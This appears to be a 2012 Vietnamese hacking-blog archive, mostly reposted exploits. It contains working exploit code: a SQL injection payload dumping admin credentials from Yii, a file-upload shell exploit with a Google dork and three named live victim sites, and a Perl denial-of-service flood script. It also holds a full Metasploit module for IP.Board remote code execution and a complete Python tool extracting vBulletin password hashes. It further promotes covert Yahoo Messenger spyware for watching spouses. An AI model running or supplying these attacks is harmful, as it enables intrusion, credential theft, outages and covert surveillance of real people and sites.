Thursday, December 20, 2012

MOD THỐNG KÊ BÀI VIẾT CHO PHPBB3



Hướng dẫn:
- Download thư mục Root về Tại đây
- Giải nén và Up lên host (File topx.php cùng hàng với index.php nhé)
- Mở Index.php
Tìm:
$user->setup('viewforum');
Chèn vào sau nó đoạn code này:
$user->setup('topX');
- Mở style/subsilver2/template/index_body.html
Tìm:
Chèn vào trước nó đoạn code này:
Bạn chỉ việc lưu lại, vào Bảng điều khiển của Quản trị viên ~> Tổng quát ~> Dọn sạch bộ nhớ đệm ~>Vậy là xong rồi đó!^^
Trên đây là mình hướng dẫn cài bảng thống kê cho giao diện Subsilver2. Đối với giao diện khác các bạn làm cũng tương tự nhé!
---------------------------------------
UPDATE (16/04/2012)
Để trả lời cho câu hỏi của bạn số 1 ở comments bên dưới. Mình upload folder Root_tab mà mình đang sử dụng (đã thêm các Tab ngoài Bài viết mới, chủ đề nóng,..)
Các bạn download về. Sau đó sửa 3 file:
topx.php (Sửa lại ID forum (màu đỏ) hiển thị phù hợp từng Tab (màu xanh)),
if(substr($mode,9,1)=='1') $lp_forums_constraint = " AND f.forum_id IN (33) "; //Cau hinh forum_id nhu trong CPLatestPosts
if(substr($mode,9,1)=='2') $lp_forums_constraint = " AND f.forum_id IN (34) ";
if(substr($mode,9,1)=='3') $lp_forums_constraint = " AND f.forum_id IN (35) ";
if(substr($mode,9,1)=='4') $lp_forums_constraint = " AND f.forum_id IN (31,205,206) ";
if(substr($mode,9,1)=='5') $lp_forums_constraint = " AND f.forum_id IN (95) ";
- Root_tab\styles\giaodiencuaban\template\topx.html (Thêm/Xóa bớt Tab mình đã chèn).
  • {L_LP_COL_1}

  • {L_LP_COL_2}

  • {L_LP_COL_3}
  • (....Tương tự.....)
    - Root_tab\language\vi (en)\topX.php (Đặt tên\Chỉnh sửa theo thứ tự từng tab tương ứng)
    Chúc các bạn thành công!

    Tuesday, November 20, 2012

    Yii Framework - Search SQL Injection Vulnerability

    # Exploit Title: Yii Framework - Search SQL Injection Vulnerability
    # Google Dork: No Dork
    # Date: 20/11/2012
    # Exploit Author: Juno_okyo
    # Vendor Homepage: http://www.yiiframework.com/
    # Software Link: http://www.yiiframework.com/download/
    # Version: 1.1.8 (maybe another version)
    #
    ##############################
    ################################################################
    Vulnerability:
    ##############################################################################################

    SQL Injection via search form. You can query to get some info about administrator account and something...

    ##############################################################################################
    Exploitation:
    ##############################################################################################

    ' UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 fRom user-- -

    ##############################################################################################
    Ex:
    ##############################################################################################

    1. Put a query in search form with quotes: http://i.imgur.com/8OShy.png
    2. It will display an error message: http://i.imgur.com/b8Tbo.png
    3. Now, get some info with SQL Injection: http://i.imgur.com/qLjc0.png
    4. Result: http://i.imgur.com/dgCRU.png

    ##############################################################################################
    More Details:
    ##############################################################################################

    Website: http://junookyo.blogspot.com/
    About Exploit: http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html

    ##############################################################################################
    Great thanks to Juno_okyo and James - J2TeaM
    ##############################################################################################

    Published (21/11/2012):
    [+] http://www.exploit-db.com/exploits/22877
    [+] http://www.1337day.com/exploit/19778
    [+] http://cxsecurity.com/issue/WLB-2012110151

    Monday, November 19, 2012

    WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

    WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
    Software: WP e-Commerce
    Software Language: PHP
    Version: 3.8.9 and below
    Vendor Status: Vendor contacted
    Release Date: 2012-11-12
    Risk: High



    1. General Overview
    ===================
    During the security audit of WP E-Commerce plugin for WordPress CMS,
    multiple vulnerabilities were discovered using DefenseCode ThunderScan
    PHP web application source code security analysis platform.
    More information about ThunderScan PHP is available at URL:
    http://www.defensecode.com/subcategory/thunderscan-8

    Detailed report for each vulnerability can be found in the following PDF
    report:
    http://www.defensecode.com/public/wp-e-commerce_security_audit_final_report.pdf

    Report has been generated by ThunderScan PHP Web Application Source Code
    Security Analysis.


    2. Software Overview
    ===================
    WP e-Commerce is a popular e-commerce plugin for WordPress. Users can
    use it to to sell products, downloads or services online. It has more
    than 2 Million downloads on wordpress.org.

    Homepage:
    http://wordpress.org/extend/plugins/wp-e-commerce/
    http://getshopped.org/


    3. Brief Vulnerability Description
    ==================================
    During the security analysis, ThunderScan PHP discovered multiple SQL
    Injection and Cross Site Scripting vulnerabilities in WP e-Commerce plugin.

    3.1. SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results($sql)
    Variable: $_POST['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 699 wp-e-commerce\wpsc-core\wpsc-deprecated.php

    3.2 SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results( $sql )
    Variable: $_POST['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 681 wp-e-commerce\wpsc-core\wpsc-deprecated.php

    3.3 SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results( $sql )
    Variable: $_GET['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 525 wp-e-commerce\wpsc-includes\purchaselogs.class.php

    3.4 SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results( $sql )
    Variable: $_GET['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 543 wp-e-commerce\wpsc-includes\purchaselogs.class.php

    3.5 SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results( $sql )
    Variable: $_GET['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 534 wp-e-commerce\wpsc-includes\purchaselogs.class.php

    3.6 SQL injection
    File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
    Function: get_results( $sql )
    Variable: $_POST['view_purchlogs_by_status']
    Called from (function line file):
    get_purchlogs() 689 wp-e-commerce\wpsc-core\wpsc-deprecated.php

    3.7 Cross-Site Scripting
    File: wp-e-commerce\wpsc-admin\includes\purchase-log-list-ta
    ble-class.php
    Function: echo ('<input type="hidden" name="m" value="' . $m . '" />')
    Variable: $_REQUEST['m']


    4. Solution
    ===========
    Vendor resolved security issues in latest WP e-Commerce release. All
    users are strongly advised to update WP e-Commerce plugin to the latest
    available version 3.8.9.1.

    # 1337day.com [2012-11-19]

    Wordpress Plugins Spotlight Your Upload Vulnerability

    ___________.__             _________                             _________                     
    \__ ___/| |__ ____ \_ ___ \______ ______ _ ________ \_ ___ \______ ______ _ __
    | | | | \_/ __ \ / \ \|_ __ \/ _ \ \/ \/ / ___/ / \ \|_ __ \/ __ \ \/ \/ /
    | | | Y \ ___/ \ \___| | \( <_> ) /\___ \ \ \___| | \| ___/\ /
    |____| |___| /\___ > \______ /__| \____/ \/\_//____ > \______ /__| \___ >\/\_/
    \/ \/ \/ \/ \/ \/

    INDO-PENDENT HACKER
    http://thecrowscrew.org
    #################################################################################################
    Exploit Title: Wordpress Plugins Spotlight Your Upload Vulnerability
    Google Dork: inurl:"/wp-content/plugins/spotlightyour/"
    Date: 18/11/2012
    Locations: Banjarmasin, Indonesia
    Author: ovanIsmycode & walangkaji
    Contact: rootx@thecrowscrew.org & walangkaji@thecrowscrew.org
    Software Link: http://www.spotlightyour.com
    #################################################################################################

    [+] POC

    Exp. Target :
    - http://domain.com/wp-content/plugins/spotlightyour/

    Exploit :
    - /monetize/upload/index.php

    Shell Access :
    - http://domain.com/wp-content/uploads/[year]/[month]/[search your shell].php

    Ending :
    - Fraksi Bejoug a.k.a Kalam Saheru
    Saparatoss Blank Blank
    awkwkwkwk :v

    http://beautyexo.com/wp-content/plugins/spotlightyour/monetize/upload/

    http://www.promogotion.com/wp-content/plugins/spotlightyour/monetize/upload/

    http://shopping.businessminister.com/wp-content/plugins/spotlightyour/monetize/upload/

    #################################################################################################

    Spec!4L th4nk'5 to :
    MsconfiX, Catalyst71, Gabby, din_muh, don_ojan, DendyIsMe, kit4r0, 777r, ph_ovtl4w, adecakep7,
    penjamoen, -=[The Crows Crew]=-, Indonesian Hacker

    thecrowscrew.org, hacker-newbie.org, yogyacarderlink.web.id, devilzc0de.org

    ########################################[end]####################################################

    # 1337day.com [2012-11-19]

    Media Player Classic XSS / Denial Of Service

    ==========================================================================================
    MPC (Media Player Classic) WebServer Multiple Vulnerabilities
    ==========================================================================================

    :------------------------------------------------------------------------------------------------------------------------------------:
    : # Exploit Title : MPC (Media Player Classic) WebServer Multiple Vulnerabilities
    : # Date : 16 November 2012
    : # Author : X-Cisadane
    : # Download : http://mpc-hc.sourceforge.net/downloads/ OR Download K-Lite Mega Codec Pack http://codecguide.com/download_mega.htm
    : # Version : ALL
    : # Category : Web Applications
    : # Vulnerability : XSS Vulnerability and Remote Denial of Service Vulnerability
    : # Tested On : Mozilla Firefox 16.0.2 (Windows XP SP 3 32-Bit English)
    : # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari
    :------------------------------------------------------------------------------------------------------------------------------------:
    WHAT IS MPC WebServer?
    ======================
    Media Player Classic (MPC) is a compact free software media player for Microsoft Windows. The application mimics the look and feel of the old,
    light-weight Windows Media Player 6.4 but uses a completely different codebase, integrating most options and features found in modern media players.
    Media Player Classic (MPC) WebServer is part of Media Player Classic features that is a web based Remote control. You can controlling Media Player Classic from your Web Browser.


    HOW TO ACTIVATE MPC WebServer?
    ==============================
    Make sure you have installed Media Player Classic or K-Lite Mega Codec Pack. Run your Media Player Classic, click 'View' Menu from the Menu Bar then choose 'Options...'.
    In the Options Window, choose Web Interface. Enable “Listen on port”, Disable “Allow access from localhost only”.
    You can change the port it listens on but that’s optional (default is 13579). Apply and click 'Launch in web browser...' Or Access it from http://localhost:13579/ OR http://IP:13579/.
    PIC MPC WebServer : http://i48.tinypic.com/33xfomg.png


    PROOF OF CONCEPT
    =================

    [1] Non Persistent XSS (Tested On Mozilla Firefox 16.0.2)

    Vulnerable URL : http://IP:Port/browser.html?path=[XSS]
    Example : http://localhost:13579/browser.html?path=<script>alert("XSS")</script>

    PIC XSS : http://i45.tinypic.com/4j3uz4.png

    [2] Remote Denial of Service (Using Perl Script)
    C:\xampp\perl\bin>perl exploitmpc.pl 127.0.0.1 13579
    *=============================================================*
    * --- MPC WebServer Remote Denial Of Service ---*
    * --- By : X-Cisadane ---*
    * --- ------------------------------------------------ ---*
    * --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*
    * --- ---*
    *=============================================================*

    Ex : perl exploitmpc.pl 127.0.0.1 13579
    Default Port for MPC Web Server is 13579
    Please Wait Till Buffer is Done
    Attacking the Target, Please Wait Till Pwned

    PIC Remote DoS : http://i46.tinypic.com/15egs5j.png

    -------------------------------- [ Code ] --------------------------------------------
    #!/usr/bin/perl
    use IO::Socket::INET;
    use Getopt::Std;
    use Socket;
    my $SOCKET = "";
    $loop = 1000;
    $ip = $ARGV[0];
    $port = $ARGV[1];
    if (! defined $ARGV[0])
    {
    print "\t*=============================================================*\n";
    print "\t* --- MPC WebServer Remote Denial Of Service ---*\n";
    print "\t* --- By : X-Cisadane ---*\n";
    print "\t* --- ------------------------------------------------ ---*\n";
    print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n";
    print "\t* --- ---*\n";
    print "\t*=============================================================*\n";
    print "\n";
    print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n";
    print "Default Port for MPC Web Server is 13579\n";

    exit;
    }

    print "\t*=============================================================*\n";
    print "\t* --- MPC WebServer Remote Denial Of Service ---*\n";
    print "\t* --- By : X-Cisadane ---*\n";
    print "\t* --- ------------------------------------------------ ---*\n";
    print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n";
    print "\t* --- ---*\n";
    print "\t*=============================================================*\n";
    print "\n";
    print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n";
    print "Default Port for MPC Web Server is 13579\n";
    print "\n";
    print " Please Wait Till The Buffer is Done\n";
    my $b1 = "\x41" x 100000000;

    $iaddr = inet_aton($ip) || die "Unknown host: $ip\n";
    $paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";
    $proto = getprotobyname('tcp') || die "getprotobyname: $!\n";

    print "\n";
    print " Attacking the Target, Please Wait Till Pwned \n";

    for ($j=1;$j<$loop;$j++) {
    socket(SOCKET,PF_INET,SOCK_STREAM, $proto) || die "socket: $!\n";
    connect(SOCKET,$paddr) || die "Connection Failed: $! .........Disconnected!\n";

    $DoS=IO::Socket::INET->new("$ip:$port") or die;
    send(SOCKET,$b1, 0) || die "failure sent: $!\n";

    print $DoS "stor $b1\n";
    print $DoS "QUIT\n";

    close $DoS;
    close SOCKET;
    }
    # exit :

    # 1337day.com [2012-11-19]

    Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution

    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
    'Description' => %q{
    This module exploits a php unserialize() vulnerability in Invision IP.Board
    <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
    code under the context of the webserver user.

    The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
    which is called with user controlled data from the cookie. The exploit abuses the
    __destruct() method from the dbMain class to write arbitrary PHP code to a file on
    the Invision IP.Board web directory.

    The exploit has been tested successfully on Invision IP.Board 3.3.4.
    },
    'Author' =>
    [
    'EgiX', # Vulnerability discovery and PoC
    'juan vazquez', # Metasploit module
    'sinn3r' # PhpEXE tekniq & check() method
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2012-5692' ],
    [ 'OSVDB', '86702' ],
    [ 'BID', '56288' ],
    [ 'EDB', '22398' ],
    [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
    ],
    'Privileged' => false,
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Payload' =>
    {
    'Space' => 8000, #Apache's limit for GET
    'DisableNops' => true
    },
    'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Oct 25 2012'
    ))

    register_options(
    [
    OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
    ], self.class)
    end

    def base
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    return base
    end

    def check
    res = send_request_raw({'uri'=>"#{base}index.php"})
    return Exploit::CheckCode::Unknown if not res

    version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
    version = version.map {|e| e.to_i}

    # We only want major version 3
    # This version checking is based on OSVDB's info
    return Exploit::CheckCode::Safe if version[0] != 3

    case version[1]
    when 1
    return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
    when 2
    return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
    when 3
    return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
    end

    return Exploit::CheckCode::Safe
    end

    def on_new_session(client)
    if client.type == "meterpreter"
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
    begin
    print_warning("#{@peer} - Deleting #{@upload_php}")
    client.fs.file.rm(@upload_php)
    print_good("#{@peer} - #{@upload_php} removed to stay ninja")
    rescue
    print_error("#{@peer} - Unable to remove #{f}")
    end
    end
    end

    def exploit
    @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
    @peer = "#{rhost}:#{rport}"

    # get_write_exec_payload uses a function, which limits our ability to support
    # Linux payloads, because that requires a space:
    # function my_cmd
    # becomes:
    # functionmy_cmd #Causes parsing error
    # We'll have to address that in the mixin, and then come back to this module
    # again later.
    php_payload = get_write_exec_payload(:unlink_self=>true)
    php_payload = php_payload.gsub(/^\<\?php/, '<?')
    php_payload = php_payload.gsub(/ /,'')

    db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

    print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

    res = send_request_cgi(
    {
    'uri' => "#{base}index.php?#{php_payload}",
    'method' => 'GET',
    'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
    })

    if not res or res.code != 200
    print_error("#{@peer} - Exploit failed: #{res.code}")
    return
    end

    print_status("#{@peer} - Executing the payload #{@upload_php}")

    res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

    if res
    print_error("#{@peer} - Payload execution failed: #{res.code}")
    return
    end

    end
    end

    IMMonitor Yahoo Messenger Spy v2.2.9.(Full)


    IMMonitor Yahoo Messenger Spy cho phép bạn theo dõi, khoá lại hoặc ghi lại các đoạn đối thoại chat trên Yahoo Messenger từ xa. Nếu con cái bạn (hay vợ, chồng bạn!) đang dành quá nhiều thời gian để chat trên Yahoo Messenger? hay bạn nghi ngờ họ dính líu tới những cuộc thoại nguy hiểm, Nếu vậy thì IMMonitor Yahoo Messenger Spy là lựa chọn tốt nhất cho bất kì ai cần thông tin về chuyện này, thật nhanh chóng và bí mật. Nó dễ sử dụng và không cần phải cài đặt trên máy đích cần theo dõi. Sẽ không ai biết rằng các cuộc đối thoại trên Yahoo Messenger của họ đang bị khoá hay ghi lại và nó sẽ không bao giờ ngừng hoạt động trừ phi bạn đóng nó lại.
    READ MORE »

    SQL Injection - Useful Functions - Tutorial

    Here are some useful function that you can use to speed up your injection and/or evade some WAFs.

    If group_concat() or concat() are not available (or you can't bypass a WAF that filters out these functions) you can try and use this:
    READ MORE »

    Exploiting Java Applet JAX-WS Remote Code Execution


    Recientemente se ha publicado una nueva vulnerabilidad en Java, denominada Java Applet JAX-WS Remote Code Execution descubierta por @_juan_vazquez_ la cual afecta a la versión 1.7.0_07-b10 y anteriores.
    READ MORE »

    [XSS] Soha.vn

    • Site: http://my.soha.vn
    • Exploit: Cross Site Scripting (XSS) Stored.
    • Đánh giá: Nghiêm trọng.
    • Khai thác: Inject Script redirect, steal cookies, deface script...
    • Tình trạng: (Chưa liên hệ).

    vBulletin vBay <=1.1.9 Error-Based SQL Injection

    #!/usr/bin/env python -W ignore::DeprecationWarning

    """

    VBay <= 1.1.9 - Remote Error based SQL Injection

    ~ Author: Dan UK
    ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599
    ~ Date: 10/11/12

    DETAILS
    Among a couple of other unsanitized parameters used within an INSERT INTO statement
    on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this
    using error based sql injection, making it possible to grab anything the user wants
    from the vbulletin database (and any others if accessible).

    As said above, the affected file is /upload/vbay.php.
    On line 418, we can see the $vbulletin->input variable "type"
    being assigned with the datatype NO_HTML. Using this data type
    allows malicious attacks to still be executed.

    At line 448, it is used within the insert into statement,
    without any sanitization.


    POC
    - You will need to register an account.
    - Go to [site]/vbay.php?do=postauction.
    - Modify your post data using a tool such as live http headers, or setting it directly
    using a tool such as curl/wget to grab the source.
    - Set the value of "type=" to something that will cause an error, such as a single tick.
    Example: POST type='
    - If, when you view the source, you get a vbulletin error message surrounded within
    comments, then it's possible to go ahead. If not, blind is the way forward.

    If error based is possible for you, you could either just simply look at some tutorials
    and go from there, or run the script below which will grab the details for the user specified.

    Have fun.

    """

    from optparse import OptionParser, OptionGroup
    from argparse import OPTIONAL
    import cookielib, urllib, urllib2, httplib
    import sys, md5, urlparse, re

    """
    OPTION PARSER/USAGE
    """
    usage = "./%prog [options]\n"
    usage += "-h or --help for more help."

    # Required options
    parser = OptionParser(usage=usage)
    parser.add_option("-u", dest="username",
    help="Working username to the target forum.")
    parser.add_option("-p", dest="password",
    help="Working password to the target forum.")
    parser.add_option("--host", dest="forumpath",
    help="FULL path to the vbulletin forum.")

    # Optional Options
    optional = OptionGroup(parser, "Optional arguments")
    optional.add_option("-f", dest="userid",
    help="User ID to grab. Default is 1.", metavar="USERID",
    default="1")
    optional.add_option("-s", dest="prefix",
    help="Set the prefix of the vBulletin forum\
    Default is null.", default="")
    optional.add_option("-g", "--grab-prefix", dest="grabprefix",
    help="Grab the tables prefix.", default=False,
    action="store_true")

    parser.add_option_group(optional)

    (options, args) = parser.parse_args()

    if not options.forumpath:
    parser.error('[-] No forum path given.')
    if not options.username:
    parser.error('[-] No username given.')
    if not options.password:
    parser.error('[-] No password given.')


    """
    HEADER
    """
    def Header():
    header = """
    # # # # # # # # # # # # # # # # # #
    # VBay <=1.1.9 SQL Injection 0day #
    # By Dan_UK #
    # # # # # # # # # # # # # # # # # #\n"""
    return header

    """
    LOGIN AND EXTRACT NEEDED COOKIES
    """
    def loginForum(forum, username, password):
    md5pass = md5.md5(password).hexdigest()
    postdata = urllib.urlencode({
    'do':'login',
    'vb_login_md5password':md5pass,
    'vb_login_username':username,
    'cookieuser':'1'
    })
    cookie_jar = cookielib.CookieJar()
    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    handeler.open(forum + "login.php?do=login", postdata)

    for cookie in cookie_jar:
    if "bbsessionhash" in str(cookie):
    return cookie_jar


    """
    CHECK VBAY EXISTS
    """
    def get_server_status_code(forum):
    host, path = urlparse.urlparse(forum)[1:3]
    try:
    conn = httplib.HTTPConnection(host)
    conn.request('HEAD', path)
    return conn.getresponse().status
    except StandardError:
    return None

    def checkExists(forum):
    good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]
    return get_server_status_code(forum + "vbay.php") in good_codes

    """
    CHECK DEBUG MODE ENABLED
    """
    def checkVuln(forum, cookie_jar):
    payload = {
    "POST":
    urllib.urlencode({"type":"'"}),
    "SCRIPT":"vbay.php?do=postauction"
    }
    try:
    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])
    except urllib2.HTTPError as e:
    e_mesg = e.read()

    if "MySQL Error" in e_mesg:
    return True

    """
    GRAB PREFIX
    """
    def grabPrefix(forum, cookie_jar):
    payload = {
    "SQL":urllib.urlencode({"type":"'"}),
    "SCRIPT":"vbay.php?do=postauction"
    }

    try:
    handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])
    except urllib2.HTTPError as e:
    e_mesg = e.read()

    prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)
    return prefix



    """
    GRAB INFO
    """
    def grabInfo(forum, cookie_jar, prefix, userid):
    # 0x2564656c696d312125 = "%delim1!%"
    payload = {
    "SQL":
    urllib.urlencode({
    "type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",
    }),
    "COLS": ["username", "password", "salt"],
    "SCRIPT":"vbay.php?do=postauction"
    }

    info = []
    for col in payload["COLS"]:
    print "[!] Grabbing the %s" % col
    try:
    handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))
    except urllib2.HTTPError as e:
    e_mesg = e.read()
    info.append(e_mesg.split("%delim1!%")[1].strip("\n"))
    return info


    """
    MAIN
    """
    def main():
    username = options.username
    password = options.password
    forum = options.forumpath
    userid = options.userid
    prefix = options.prefix

    if forum.lower()[:7] != "http://":
    if forum.lower()[:8] == "https://":
    forum = forum.replace("https://", "http://")
    if forum[-1:] != "/":
    forum = forum + "/"

    print Header()

    print "[!] Trying to login to: " + forum
    if loginForum(forum, username, password):
    cookies = loginForum(forum, username, password)
    print "[+] Login works."
    else:
    print "[-] Login doesn't work. (" + username + ":" + password + ")"
    print "[-] Exiting."
    sys.exit()

    print "\n[!] Checking if vBay is installed.."
    if (checkExists(forum)):
    print "[+] vBay was found. Continuing with exploit."
    else:
    print "[-] vBay could no be found. (" + forum + "/vbay.php)"
    print "[-] Exiting."
    sys.exit()

    print "\n[!] Checking if debug mode is enabled.."
    if checkVuln(forum, cookies):
    print "[+] Debug mode is enabled, exploit is possible."

    if options.grabprefix == True:
    print "\n[!] Grabbing prefix."
    print "[+] Prefix found:" + grabPrefix(forum, cookies)
    sys.exit()


    print "\n[!] Grabbing info.\n"
    info = grabInfo(forum, cookies, prefix, userid)
    print "\n[+] Formatting for ease of view."
    print "\n\n[+] Username: " + info[0]
    print "[+] Password: " + info[1]
    print "[+] Salt: " + info[2]
    print "\n\nThanks for using my tool."


    if __name__ == "__main__":
    main()

    Tội phạm lừa đảo - Phần VI: Đánh cắp nhận dạng

    Bạn làm việc chăm chỉ cần mẫn hàng ngày chỉ với mong muốn kiếm sống nuôi lấy bản thân. Bạn phải hết sức dè sẻn trong chi tiêu hàng ngày, và bạn chỉ đủ dư một khoản tiết kiệm trong tài khoản. Chuyện gì sẽ xảy ra nếu ai đó sử dụng tên bạn, nhân dạng của bạn, số tài khoản của bạn để thực hiện những vụ mua bán trời ơi đất hỡi, và bạn chợt nhận thấy mình phải gánh một món nợ không hề nhỏ? Mọi chuyện có thể còn trầm trọng hơn thế, khi tên lừa đảo sử dụng chúng vào mục đích phi pháp.
    READ MORE »

    Tội phạm lừa đảo - Phần V: Rửa tiền (Phần tiếp theo)

    Rửa tiền tham ô: Eddie Antar
     
    Vào thập kỉ 80, Eddie Antar, chủ sở hữu của Crazy Eddie’s Electronics, đã lấy đi hàng triệu dollar của công ty và giấu chúng khỏi IRS (Internal Revenue Service - cơ quan phụ trách về thuế thu nhập ở Mỹ). Đây là một kế hoạch độc đáo, tuy nhiên, Antar và những người đồng chủ mưu đã quyết định rằng sẽ tốt hơn nếu tiền quay lại công ty dưới danh nghĩa lợi nhuận. Điều này sẽ làm tăng thêm lượng tài sản hiện có của công ty khi chuẩn bị cho IPO (Initial Public Offering – phát hành cổ phiếu lần đầu). Trong nhiều chuyến đi của mình tới Israel, Antar đã dắt trong mình và trong vali tổng cộng hàng triệu dollar. Dưới đây là tóm tắt về cách thức rửa tiền được Antar sử dụng:
    READ MORE »

    Tội phạm lừa đảo - Phần V: Rửa tiền

    Tháng 10 năm 2005, Nghị sĩ Tom Delay của Mỹ bị buộc tội có liên quan tới một vụ án rửa tiền và rồi bị giáng chức xuống thành House Majority Leader - người đứng đầu Hạ nghị viện. Rửa tiền là một hành vi nghiêm trọng – trong năm 2001, ở Mỹ đã khởi tố gần 900 vụ rửa tiền với mức án trung bình 6 năm tù giam. Sự phát triển tài chính toàn cầu khiến cho việc rửa tiền trở nên dễ hơn bao giờ hết – những đất nước có bank-secrecy laws (luật bí mật ngân hàng) được kết nối trực tiếp với đất nước có bank-reporting laws (luật báo cáo ngân hàng – nd), từ đó những kẻ nặc danh có khả năng chuyển những khoản tiền “bẩn” từ đất nước này sang đất nước khác để sử dụng.
    READ MORE »

    Sunday, November 18, 2012

    Thay đổi User Agent mặc định của Firefox

    1. Open file:
    C:\Documents and Settings\username\Application Data\Mozilla\Firefox\Profiles\3vfugy1g.default\prefs.js
    2. Add the following line:
    user_pref(“general.useragent.override”, “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)“);
    3. Save and close prefs.js.
    4. Restart your Firefox browser.
    5. Enjoy your self.

    [TUT] Back connect không cần Port Forwarding

    Video Tutorial + Code + TXT hướng dẫn đều trong file RAR:

    Download:

    http://www.mediafire.com/?y9jhabsywx4d38h
    Pass Unlock:
    (Only Juno_okyo's Blog Members).

    Facebook sửa lỗi bypass Password

    Facebook vừa sửa lỗ hổng bảo mật vào cuối tuần qua và cho rằng nó có thể bị khai thác và có thể có trên 1 triệu tài khoản sẽ bị đăng nhập trái phép nếu không xác thực kịp thời
    READ MORE »

    Brute, Crack password với Hashcat

    Juno_okyo đã từng post 1 tools tương tự tại đây (OclHashcat):
    http://junookyo.blogspot.com/2012/05/oclhashcat-plus-v008-released-fastest.html
    Nhưng ai đã từng dụng đến crack, brute, hay làm bên kỹ thuật có lẽ đều đã đụng tới phần mềm hashcat này rồi vì thế nên concobe sẽ copy toàn bộ nội dung tiếng anh Nguyên Bản của trang chủ hashcat về để mọi người xem chức năng của nó.
    READ MORE »

    Share tài liệu chuyên ngành Mạng - IT

    I/ Giới thiệu:
    Bộ tài liệu cung cấp các kiến thức cơ bản nhất về chuyên ngành mạng, tuy chưa đủ hết, nhưng nó sẽ cung cấp cho các bạn 1 lượng kiến thức nhất định cần có về mạng, những hiểu biết về mạng.
    READ MORE »

    Saturday, November 17, 2012

    [VLTK] Tân Kiếm Hiệp ver2.0 full, ko giới hạn

    Server Võ lâm truyền kỳ Tân Kiếm Hiệp ver2.0 full, ko giới hạn





    Sv no font
    Thông tin server:
    + Vòng Sáng Hoàng Kim
    + Việt Hóa Có Dấu
    + Lên Xuống Ngựa Bằng Phím M
    + Chống Hack Nhân Vật Bẳng Cheat Engine
    + Chống Dupe Tiền Vạn = WPE
    + Hiên thị vạn nhưng ko có lượng
    + Hiển Thị Option Skill
    + Hỗ Trợ Kỹ Năng Skill Theo Tên
    + Tăng Skill Hỗ Trợ Sẽ Lên Lực Tay
    + Tốc Độ Đánh Nội Công, Ngoại Công Phân Biệt
